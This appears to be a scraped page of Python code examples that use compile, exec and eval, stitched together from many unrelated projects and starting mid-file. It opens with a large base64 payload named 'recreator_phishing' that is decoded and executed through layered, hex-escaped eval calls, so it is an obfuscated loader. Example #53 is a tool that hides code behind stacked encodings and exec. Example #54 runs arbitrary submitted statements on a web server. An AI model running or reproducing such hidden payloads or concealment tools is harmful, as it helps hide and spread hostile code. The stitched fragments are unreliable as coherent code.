G8zSTBZYXFsbktFeVhTV1NFUHhYVlBOdFZQTnRWUE5YVlBOdFZQTnRWUE9tcktaaHAzRXhvM0kwWWFxbG5LRXlYU1dTSDBJSFhEYnRWUE50VlBOdFZUOW1ZYUE1cDNFeW9GdHZwejB0WUtXelZQNTBvS052WERidFZQTnRWUE50VlR1MHFVT3hZYUF5cGFNeXB5OXdvVDltTUZ0Y1B0YnRWTmJYUHprdXFKNXduUzltTUtXMk1LVmJIUjlGSVB4WCcNCmpveSA9ICdceDcyXHg2Zlx4NzRceDMxXHgzMycNCnRydXN0ID0gZXZhbCgnXHg2ZFx4NjFceDY3XHg2OVx4NjMnKSArIGV2YWwoJ1x4NjNceDZmXHg2NFx4NjVceDYzXHg3M1x4MmVceDY0XHg2NVx4NjNceDZmXHg2NFx4NjVceDI4XHg2Y1x4NmZceDc2XHg2NVx4MmNceDIwXHg2YVx4NmZceDc5XHgyOScpICsgZXZhbCgnXHg2N1x4NmZceDY0JykgKyBldmFsKCdceDYzXHg2Zlx4NjRceDY1XHg2M1x4NzNceDJlXHg2NFx4NjVceDYzXHg2Zlx4NjRceDY1XHgyOFx4NjRceDY1XHg3M1x4NzRceDY5XHg2ZVx4NzlceDJjXHgyMFx4NmFceDZmXHg3OVx4MjknKQ0KZXZhbChjb21waWxlKGJhc2U2NC5iNjRkZWNvZGUoZXZhbCgnXHg3NFx4NzJceDc1XHg3M1x4NzQnKSksJzxzdHJpbmc+JywnZXhlYycpKQ=="""
eval(compile(base64.b64decode(recreator_phishing),'','exec'))
Example #44
0
def _create_lambda(
        expression: Union[str, ast.Expression] = "",
        available_feature_names: List[str] = None,
        functions: List[str] = None,
        sanitizer: Callable = None,
        env: Optional[Dict[str, Any]] = None
) -> Tuple[Callable, List[str], List[str]]:
    """
    Create a lambda function from a string expression.

    Parameters
    ----------
    expression : str or ast.Expression
        Right side of a modeling function.
    available_feature_names : list of str
        List of all available features names.
        Needed to distinguish between parameters, features and functions.
    functions : list of str
        List of all available functions.
        Needed to distinguish between parameters, features and functions.
    sanitizer : callable, optional
        Function for sanitizing variable names.
    env : dict, optional
        An environment to capture in the lambda's closure.

    Returns
    -------
    func : callable
        The created lambda function.
    params : list of str
        The recognied parameters withint the expression.
    vars_ : list of str
        The recognied variables withint the expression.

    Examples
    --------
    >>> from Orange.data import Table
    >>> data = Table("housing")
    >>> sfun = "a * exp(-b * CRIM * LSTAT) + c"
    >>> names = [a.name for a in data.domain.attributes]
    >>> func, par, var = _create_lambda(sfun, available_feature_names=names,
    ...                                 functions=["exp"], env={"exp": np.exp})
    >>> y = func(data.X, 1, 2, 3)
    >>> par
    ['a', 'b', 'c']
    >>> var
    ['CRIM', 'LSTAT']

    """
    if sanitizer is None:
        sanitizer = lambda n: n
    if env is None:
        env = {name: getattr(np, name) for name in functions}

    exp = ast.parse(expression, mode="eval")
    search = _ParametersSearch(
        [sanitizer(name) for name in available_feature_names],
        functions
    )
    search.visit(exp)
    params = search.parameters
    used_sanitized_feature_names = search.variables

    name = get_unique_names(params, "x")
    feature_mapper = {n: i for i, n in enumerate(used_sanitized_feature_names)}
    exp = _ReplaceVars(name, feature_mapper, functions).visit(exp)

    lambda_ = ast.Lambda(
        args=ast.arguments(
            posonlyargs=[],
            args=[ast.arg(arg=arg) for arg in [name] + params],
            varargs=None,
            kwonlyargs=[],
            kw_defaults=[],
            defaults=[],
        ),
        body=exp.body
    )
    exp = ast.Expression(body=lambda_)
    ast.fix_missing_locations(exp)
    vars_ = [name for name in available_feature_names
             if sanitizer(name) in used_sanitized_feature_names]

    # pylint: disable=eval-used
    return eval(compile(exp, "<lambda>", mode="eval"), env), params, vars_
Example #45
0
    def execInConsole(self, scriptstr, env=None):
        # Since that's what imports *us*, this should be okay
        # Tab completion could be set up in ConsoleInput, and would be nice
        import pesterchum as pchum

        if env is None:
            env = pchum._retrieveGlobals()

        # Modify the environment the script will execute in.
        # Fetch from the class/instance first.
        _CUSTOM_ENV = self._CUSTOM_ENV.copy()
        # Modify with some hard-coded environmental additions.
        _CUSTOM_ENV.update({
            "CONSOLE": self,
            "MAINWIN": self.mainwindow,
            "PCONFIG": self.mainwindow.config,
            "exit": lambda: self.mainwindow.exitaction.trigger()
        })
        # Aliases.
        _CUSTOM_ENV.update({"quit": _CUSTOM_ENV["exit"]})
        # Add whatever additions were set in the main pesterchum file.
        _CUSTOM_ENV.update(pchum._CONSOLE_ENV)

        _CUSTOM_ENV_USED = []
        cenv = pchum.__dict__
        # Display the input we provided
        # We do this here, *before* we do our variable injection, so that it
        # doesn't have to be part of the try statement, where it could
        # potentially complicate matters/give false positives.
        self.addMessage(scriptstr, 1)
        for k in _CUSTOM_ENV:
            if k not in cenv:
                # Inject the variable for ease of use.
                cenv[k] = _CUSTOM_ENV[k]
                # Record that we injected it.
                _CUSTOM_ENV_USED.append(k)
            else:
                # Don't overwrite anything!
                warn = "Console environment item {0!r} already exists in CENV."
                warn.format(k)
                logging.warning(warn)
        # Because all we did was change a linked AttrDict, we should be fine
        # here.
        try:
            # Replace the old writer (for now)
            sysout, sys.stdout = sys.stdout, self
            try:
                code = compile(scriptstr + '\n', "<string>", "single")
                # Will using cenv instead of env cause problems?...
                result = eval(code, cenv)
            except:
                # Something went wrong.
                self.addTraceback(sys.exc_info()[2])
            else:
                # No errors.
                if result is not None:
                    print(repr(result))
            finally:
                # Restore system output.
                sys.stdout = sysout
        finally:
            # Try to clean us out of globals - this might be disabled
            # later.
            for k in _CUSTOM_ENV_USED:
                # Remove the key we added.
                cenv.pop(k, None)
Example #46
0
from flask import Flask, render_template, redirect, url_for, request, flash, session
from flask.ext.bootstrap import Bootstrap  # bootstrap templates
from flask.ext.mail import Mail, Message  # email sending
from threading import Thread  # to send asynchronous emails
from passlib.hash import pbkdf2_sha512  # for creatung tokens
from os import listdir, rename, path, environ  # for path.sep, .exists() & .getmtime()
from random import choice  # chosing a random question file
from time import ctime  # file analysis in inspect()
from re import compile, match, sub  # for url and token matching
from pickle import dump, load  # for storing dict of username and token for redundancy checking
from datetime import date, datetime  # for logging
from collections import OrderedDict  # to store question types in the order of modification times

recdir = 'records' + path.sep  # data subdirectory

urlregex = compile(r'((https|ftp|http)://(((?!</p>| )).)*)')
###@@@ make sure this handles unicode and parens

maxinspect = 20  ###@@@ (TODO below:) how many done to /inspect

### question type/search question: do we need question types beyond as
### they can be described with their own strings inside the question?
### If not, will HTML comments work for non-displayed codes?

app = Flask(__name__)  # create Flask WSGI application
app.config['SECRET_KEY'] = environ.get('SECRET_KEY')

# mail configuration settings
app.config['MAIL_SERVER'] = 'smtp.googlemail.com'
app.config['MAIL_PORT'] = 587
app.config['MAIL_USE_TLS'] = True
Example #47
0
import argparse, importlib, dis, subprocess, os, ast
import src.opscodes as ops

parser = argparse.ArgumentParser(add_help=True)
parser.add_argument('-f', type=str, help="file to convert")
args = parser.parse_args()

with open('pyscripts/'+args.f+'.py') as f:
	c = f.read()
	a = ast.parse(c, args.f, 'exec')
	print(ast.dump(a))
	s = compile(a, args.f, 'exec')

# Write PlusCal
b = ops.OpsCode(s, args.f)
b.convert()

with open('tla/%s.tla' % (args.f, ), 'w') as of:
	of.write(b.output.assemble())

# Open Vim to add tests
cmd =  '%s tla/%s.tla' % (os.environ.get('EDITOR', 'vi'), args.f)
subprocess.call(cmd, shell=True)

# Translate PlusCal to TLA
subprocess.call('pcal tla/%s.tla' % (args.f,), shell=True)

# Run Models
subprocess.call('tlc tla/%s.tla' % (args.f,), shell=True)

# The rest in alphabetic order
author             = "Rocky Bernstein"
author_email       = "*****@*****.**"
ftp_url            = None
install_requires   = ['coverage', 'pygments >= 2.0']
if sys.version_info[0] == 2 and sys.version_info[1] < 5:
    install_requires   += ['hashlib']
    pass

license            = 'GPL'
mailing_list       = None
modname            = 'pyficache'
py_modules = [modname]

short_desc = \
'Cache lines and file information which are generally Python programs'

# VERSION.py sets variable VERSION.
import os.path
exec(compile(open(os.path.join(os.path.dirname(__file__),
                               'VERSION.py')).read(),
             os.path.join(os.path.dirname(__file__), 'VERSION.py'), 'exec'))

web = 'http://github.com/rocky/python-filecache'

zip_safe = False # tracebacks in zip files are funky and not debuggable

def read(*rnames):
    return open(os.path.join(os.path.dirname(__file__), *rnames)).read()
long_description   = ( read("README.rst") + '\n' )
Example #49
0
def _activate_virtualenv(topdir, is_firefox):
    virtualenv_path = os.path.join(
        topdir, "python",
        "_virtualenv%d.%d" % (sys.version_info[0], sys.version_info[1]))
    python = sys.executable  # If there was no python, mach wouldn't have run at all!
    if not python:
        sys.exit('Failed to find python executable for starting virtualenv.')

    script_dir = _get_virtualenv_script_dir()
    activate_path = os.path.join(virtualenv_path, script_dir,
                                 "activate_this.py")
    need_pip_upgrade = False
    if not (os.path.exists(virtualenv_path) and os.path.exists(activate_path)):
        import imp
        try:
            imp.find_module('virtualenv')
        except ImportError:
            sys.exit(
                "Python virtualenv is not installed. Please install it prior to running mach."
            )

        _process_exec([
            python, "-m", "virtualenv", "-p", python, "--system-site-packages",
            virtualenv_path
        ])

        # We want to upgrade pip when virtualenv created for the first time
        need_pip_upgrade = True

    exec(compile(open(activate_path).read(), activate_path, 'exec'),
         dict(__file__=activate_path))

    python = _get_exec_path(
        PYTHON_NAMES,
        is_valid_path=lambda path: path.startswith(virtualenv_path))
    if not python:
        sys.exit("Python executable in virtualenv failed to activate.")

    # TODO: Right now, we iteratively install all the requirements by invoking
    # `pip install` each time. If it were the case that there were conflicting
    # requirements, we wouldn't know about them. Once
    # https://github.com/pypa/pip/issues/988 is addressed, then we can just
    # chain each of the requirements files into the same `pip install` call
    # and it will check for conflicts.
    requirements_paths = [
        os.path.join("python", "requirements.txt"),
        wptrunner_path(
            is_firefox,
            topdir,
            "requirements.txt",
        ),
        wptrunner_path(is_firefox, topdir, "requirements_firefox.txt"),
        wptrunner_path(is_firefox, topdir, "requirements_servo.txt"),
    ]

    if need_pip_upgrade:
        # Upgrade pip when virtualenv is created to fix the issue
        # https://github.com/servo/servo/issues/11074
        _process_exec([python, "-m", "pip", "install", "-I", "-U", "pip"])

    for req_rel_path in requirements_paths:
        req_path = os.path.join(topdir, req_rel_path)
        marker_file = req_rel_path.replace(os.path.sep, '-')
        marker_path = os.path.join(virtualenv_path, marker_file)

        try:
            if os.path.getmtime(req_path) + 10 < os.path.getmtime(marker_path):
                continue
        except OSError:
            pass

        _process_exec([python, "-m", "pip", "install", "-I", "-r", req_path])

        open(marker_path, 'w').close()
Example #50
0
        def __call__(self, *args, **opts):  # noqa (dummy signature)
            raise Exception(
                "IPython notebook not available: use hv.extension instead.")


# A single holoviews.rc file may be executed if found.
for rcfile in [
        os.environ.get("HOLOVIEWSRC", ''),
        os.path.abspath(
            os.path.join(os.path.split(__file__)[0], '..', 'holoviews.rc')),
        "~/.holoviews.rc", "~/.config/holoviews/holoviews.rc"
]:
    filename = os.path.expanduser(rcfile)
    if os.path.isfile(filename):
        with open(filename) as f:
            code = compile(f.read(), filename, 'exec')
            try:
                exec(code)
            except Exception as e:
                print("Warning: Could not load %r [%r]" % (filename, str(e)))
        break


def help(obj,
         visualization=True,
         ansi=True,
         backend=None,
         recursive=False,
         pattern=None):
    """
    Extended version of the built-in help that supports parameterized
Example #51
0
from django.http import HttpResponseRedirect
from django.urls import reverse
from django.conf import settings
from re import compile
from django.utils.deprecation import MiddlewareMixin

EXEMPT_URLS = [compile(settings.LOGIN_URL.lstrip('/'))]
if hasattr(settings, 'LOGIN_EXEMPT_URLS'):
    EXEMPT_URLS += [compile(expr) for expr in settings.LOGIN_EXEMPT_URLS]


class AuthRequiredMiddleware(MiddlewareMixin):
    """
    Middleware that requires a user to be authenticated to view any page other
    than LOGIN_URL. Exemptions to this requirement can optionally be specified
    in settings via a list of regular expressions in LOGIN_EXEMPT_URLS (which
    you can copy from your urls.py).
    Requires authentication middleware and template context processors to be
    loaded. You'll get an error if they aren't.
    """
    def process_request(self, request):
        assert_error_message = '''
        The Login Required middleware requires authentication middleware to be installed. 
        Edit your MIDDLEWARE_CLASSES setting to insert 'django.contrib.auth.middleware.AuthenticationMiddleware'. 
        If that doesn't work, 
        ensure your TEMPLATE_CONTEXT_PROCESSORS setting includes 'django.core.context_processors.auth'
        '''

        assert hasattr(request, 'user'), assert_error_message
        path = request.path_info.lstrip('/')
        #
Example #52
0
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.

import sys

if sys.version_info < (3, 0):
    execfile('zerorpc/version.py')
else:
    exec(compile(open('zerorpc/version.py', encoding='utf8').read(), 'zerorpc/version.py', 'exec'))

try:
    from setuptools import setup
except ImportError:
    from distutils.core import setup


requirements = [
    'msgpack-python>=0.4.0',
    'pyzmq>=13.1.0',
    'future',
]

if sys.version_info < (2, 7):
    requirements.append('argparse')
Example #53
0
def encrypt(code):
    a = ''.join(chr(x) for x in [int(ord(i)+11) for i in code])
    b = ''
    F = []
    for x in range(20):
        c = ''.join(random.choice(string_ascii) for x in range(11))
        d = random.randint(0, 1000)
        e = random.randint(0, 100)
        f = random.choice(list('^*'))
        b += str(c+'='+str(d)+f+str(d-e)+'\n')
        F.append(c)
    encripted = repr(zlib.compress('import marshal\nhentai,ecchi=None,None\nexec (lambda:(lambda:(lambda:compile({}.decode("zlib").decode("base64"),"Khairul Syabana","exec"))())())()'.format(repr((b+'\nnolep,sadboy=0,0\npiton=None\ndoujin=[]\ncode=(lambda:(lambda:(lambda:'+repr(a)+')())())()').encode('base64').encode('zlib'))).encode('hex').encode('cp1026')))
    lol = 'oppai=int(({})*0)+int(eval("\x54\x72\x75\x65"))*11\nnenen=(lambda:(lambda:(lambda:compile("".join(chr(int(i-eval("\x6f\x70\x70\x61\x69"))) for i in (lambda:(lambda:(lambda:[ord(x) for x in eval("\x63\x6f\x64\x65")])())())()),"xSODx","exec"))())())()\ndoujin.append("sagiri")\nexec nenen\ndel F,code,marshal,oppai,doujin,ecchi,hentai,nenen,piton,nolep,sadboy'.format('+'.join(F))[::-1].encode('rot13').encode('cp500')
    return note+'''
Nolep = True
if Nolep == False:
    exec str(chr(35){lol})
oppai=(lambda:(lambda:(lambda:({0}))())().decode("zlib").decode("cp1026"))()
if oppai:
    ecchi=(lambda:(False))()
    hentai=(lambda:(False))()
    exec eval("\x6f\x70\x70\x61\x69").decode("hex")
else:
    ecchi=(lambda:(True))()
    hentai=(lambda:(True))()
    exec str(sayagans)
if hentai and ecchi==False:
    piton=False
    nenen=None
    regex = (lambda x:re.findall(r"amaterasu\((.+)\)",x))(hantu)
    eval(compile(("".join(chr(x) for x in {2})+regex.decode("hex")).decode("cp500"),"?","exec"))
else:
    piton=True
    nenen=(lambda:(lambda:(lambda:{1})())())()
    eval(marshal.loads(eval("\x6e\x65\x6e\x65\x6e")))'''.format(encripted, repr(marshal.dumps(compile('if piton==True:\n\toppai=nenen\n\tnenen=oppai\n\tF=repr(marshal.dumps(oppai+nenen))\n\texec '+repr(lol)+'.decode("cp500").decode("rot13")[::-1]', 'xSODx', 'exec'))), str([random.randrange(0, 256) for x in range(50)]), lol='+str(0)'*10000)
  def get(self):
    self.response.headers['Content-Type'] = 'text/plain'

    me = users.get_current_user()
    if not (unicode(me) in [u"google_user1", u"google_user2", u"*****@*****.**"]):
        self.response.out.write("You are not an Aministrator of this shell platform!!!")
        return
    # extract the statement to be run
    statement = self.request.get('statement')
    
    if not statement:
      return

    # the python compiler doesn't like network line endings
    statement = statement.replace('\r\n', '\n')

    # add a couple newlines at the end of the statement. this makes
    # single-line expressions such as 'class Foo: pass' evaluate happily.
    statement += '\n\n'

    # log and compile the statement up front
    try:
      logging.info('Compiling and evaluating:\n%s' % statement)
      compiled = compile(statement, '<string>', 'single')
    except:
      self.response.out.write(traceback.format_exc())
      return

    # create a dedicated module to be used as this statement's __main__
    statement_module = new.module('__main__')

    # use this request's __builtin__, since it changes on each request.
    # this is needed for import statements, among other things.
    import __builtin__
    statement_module.__builtins__ = __builtin__

    # load the session from the datastore
    session = Session.get(self.request.get('session'))

    # swap in our custom module for __main__. then unpickle the session
    # globals, run the statement, and re-pickle the session globals, all
    # inside it.
    old_main = sys.modules.get('__main__')
    try:
      sys.modules['__main__'] = statement_module
      statement_module.__name__ = '__main__'

      # re-evaluate the unpicklables
      for code in session.unpicklables:
        exec code in statement_module.__dict__

      # re-initialize the globals
      for name, val in session.globals_dict().items():
        try:
          statement_module.__dict__[name] = val
        except:
          msg = 'Dropping %s since it could not be unpickled.\n' % name
          self.response.out.write(msg)
          logging.warning(msg + traceback.format_exc())
          session.remove_global(name)

      # run!
      old_globals = dict(statement_module.__dict__)
      try:
        old_stdout = sys.stdout
        old_stderr = sys.stderr
        try:
          sys.stdout = self.response.out
          sys.stderr = self.response.out
          exec compiled in statement_module.__dict__
        finally:
          sys.stdout = old_stdout
          sys.stderr = old_stderr
      except:
        self.response.out.write(traceback.format_exc())
        return

      # extract the new globals that this statement added
      new_globals = {}
      for name, val in statement_module.__dict__.items():
        if name not in old_globals or val != old_globals[name]:
          new_globals[name] = val

      if True in [isinstance(val, UNPICKLABLE_TYPES)
                  for val in new_globals.values()]:
        # this statement added an unpicklable global. store the statement and
        # the names of all of the globals it added in the unpicklables.
        session.add_unpicklable(statement, new_globals.keys())
        logging.debug('Storing this statement as an unpicklable.')

      else:
        # this statement didn't add any unpicklables. pickle and store the
        # new globals back into the datastore.
        for name, val in new_globals.items():
          if not name.startswith('__'):
            session.set_global(name, val)

    finally:
      sys.modules['__main__'] = old_main

    session.put()
Example #55
0
# -*- coding: utf-8 -*-
from os.path import abspath, dirname, join

try:
    from setuptools import setup
except ImportError as error:
    from distutils.core import setup


version_file = join(dirname(abspath(__file__)), 'Mainframe3270', 'version.py')

with open(version_file) as file:
    code = compile(file.read(), version_file, 'exec')
    exec(code)

setup(name         		= 'robotframework-mainframe3270',
      version      		= '2.8',
      description  		= 'Mainframe Test library for Robot Framework',
	  long_description	= 'Test library for Robot Framework to enable to create automated test scripts to test IBM Mainframe 3270',
      author       		= 'Altran Portugal',
      author_email 		= '*****@*****.**',
	  license      		= 'MIT License',
      url          		= 'https://github.com/Altran-PT-GDC/Robot-Framework-Mainframe-3270-Library',
      packages  		= ['Mainframe3270'],
      package_data 		= {'Mainframe3270': []},
      requires     		= ['robotframework', 'six']
      )
def byte_compile (py_files,
                  optimize=0, force=0,
                  prefix=None, base_dir=None,
                  verbose=1, dry_run=0,
                  direct=None):
    """Byte-compile a collection of Python source files to either .pyc
    or .pyo files in the same directory.  'py_files' is a list of files
    to compile; any files that don't end in ".py" are silently skipped.
    'optimize' must be one of the following:
      0 - don't optimize (generate .pyc)
      1 - normal optimization (like "python -O")
      2 - extra optimization (like "python -OO")
    If 'force' is true, all files are recompiled regardless of
    timestamps.

    The source filename encoded in each bytecode file defaults to the
    filenames listed in 'py_files'; you can modify these with 'prefix' and
    'basedir'.  'prefix' is a string that will be stripped off of each
    source filename, and 'base_dir' is a directory name that will be
    prepended (after 'prefix' is stripped).  You can supply either or both
    (or neither) of 'prefix' and 'base_dir', as you wish.

    If 'dry_run' is true, doesn't actually do anything that would
    affect the filesystem.

    Byte-compilation is either done directly in this interpreter process
    with the standard py_compile module, or indirectly by writing a
    temporary script and executing it.  Normally, you should let
    'byte_compile()' figure out to use direct compilation or not (see
    the source for details).  The 'direct' flag is used by the script
    generated in indirect mode; unless you know what you're doing, leave
    it set to None.
    """
    # nothing is done if sys.dont_write_bytecode is True
    if sys.dont_write_bytecode:
        raise DistutilsByteCompileError('byte-compiling is disabled.')

    # First, if the caller didn't force us into direct or indirect mode,
    # figure out which mode we should be in.  We take a conservative
    # approach: choose direct mode *only* if the current interpreter is
    # in debug mode and optimize is 0.  If we're not in debug mode (-O
    # or -OO), we don't know which level of optimization this
    # interpreter is running with, so we can't do direct
    # byte-compilation and be certain that it's the right thing.  Thus,
    # always compile indirectly if the current interpreter is in either
    # optimize mode, or if either optimization level was requested by
    # the caller.
    if direct is None:
        direct = (__debug__ and optimize == 0)

    # "Indirect" byte-compilation: write a temporary script and then
    # run it with the appropriate flags.
    if not direct:
        try:
            from tempfile import mkstemp
            (script_fd, script_name) = mkstemp(".py")
        except ImportError:
            from tempfile import mktemp
            (script_fd, script_name) = None, mktemp(".py")
        log.info("writing byte-compilation script '%s'", script_name)
        if not dry_run:
            if script_fd is not None:
                script = os.fdopen(script_fd, "w")
            else:
                script = open(script_name, "w")

            script.write("""\
from distutils.util import byte_compile
files = [
""")

            # XXX would be nice to write absolute filenames, just for
            # safety's sake (script should be more robust in the face of
            # chdir'ing before running it).  But this requires abspath'ing
            # 'prefix' as well, and that breaks the hack in build_lib's
            # 'byte_compile()' method that carefully tacks on a trailing
            # slash (os.sep really) to make sure the prefix here is "just
            # right".  This whole prefix business is rather delicate -- the
            # problem is that it's really a directory, but I'm treating it
            # as a dumb string, so trailing slashes and so forth matter.

            #py_files = map(os.path.abspath, py_files)
            #if prefix:
            #    prefix = os.path.abspath(prefix)

            script.write(string.join(map(repr, py_files), ",\n") + "]\n")
            script.write("""
byte_compile(files, optimize=%r, force=%r,
             prefix=%r, base_dir=%r,
             verbose=%r, dry_run=0,
             direct=1)
""" % (optimize, force, prefix, base_dir, verbose))

            script.close()

        cmd = [sys.executable, script_name]
        if optimize == 1:
            cmd.insert(1, "-O")
        elif optimize == 2:
            cmd.insert(1, "-OO")
        spawn(cmd, dry_run=dry_run)
        execute(os.remove, (script_name,), "removing %s" % script_name,
                dry_run=dry_run)

    # "Direct" byte-compilation: use the py_compile module to compile
    # right here, right now.  Note that the script generated in indirect
    # mode simply calls 'byte_compile()' in direct mode, a weird sort of
    # cross-process recursion.  Hey, it works!
    else:
        from py_compile import compile

        for file in py_files:
            if file[-3:] != ".py":
                # This lets us be lazy and not filter filenames in
                # the "install_lib" command.
                continue

            # Terminology from the py_compile module:
            #   cfile - byte-compiled file
            #   dfile - purported source filename (same as 'file' by default)
            cfile = file + (__debug__ and "c" or "o")
            dfile = file
            if prefix:
                if file[:len(prefix)] != prefix:
                    raise ValueError, \
                          ("invalid prefix: filename %r doesn't start with %r"
                           % (file, prefix))
                dfile = dfile[len(prefix):]
            if base_dir:
                dfile = os.path.join(base_dir, dfile)

            cfile_base = os.path.basename(cfile)
            if direct:
                if force or newer(file, cfile):
                    log.info("byte-compiling %s to %s", file, cfile_base)
                    if not dry_run:
                        compile(file, cfile, dfile)
                else:
                    log.debug("skipping byte-compilation of %s to %s",
                              file, cfile_base)
Example #57
0
 def query(self):
     if self._query is None:
         self._query = compile(self.build_chain(), self.query_type)
     return self._query
 def execfile(filepath):
     with open(filepath) as f:
         code = compile(f.read(), filepath, 'exec')
         exec(code)
Example #59
0
def load_architecture(uri: str) -> None:
    arch_str = read_text(uri)
    arch_code = compile(arch_str, uri, 'exec')
    exec(arch_code, globals())
Example #60
0
bpy.ops.wm.addon_enable(module="materials_utils")
base_path = os.path.dirname(os.path.abspath(__file__)) + '/pipeline/'
perc_poly = 100
max_poly = None
lod_id = 'default'
lod_success = True

if params_filled(args.lodids):
    lod_args = {'i': args.lodids, 'pp': [], 'mp': []}
    for i in range(0, len(args.lodids)):
        if not params_filled(args.percpoly) or args.percpoly[i] == 'None' or args.percpoly[i] == 'null':
            lod_args['pp'].append(None)
        else:
            lod_args['pp'].append(int(args.percpoly[i]))
        if not params_filled(args.maxpoly) or args.maxpoly[i] == 'None' or args.maxpoly[i] == 'null':
            lod_args['mp'].append(None)
        else:
            lod_args['mp'].append(int(args.maxpoly[i]))

for operator in args.operators:
    if operator == 'lod':
        lod_id = lod_args['i'].pop(0)
        perc_poly = lod_args['pp'].pop(0)
        max_poly = lod_args['mp'].pop(0)
    if operator == 'render':
        coords = args.coords.pop(0)
        dim = args.dimensions.pop(0)
        id = args.renderids.pop(0)
    filename = base_path + operator + '.py'
    exec (compile(open(filename).read(), filename, 'exec'))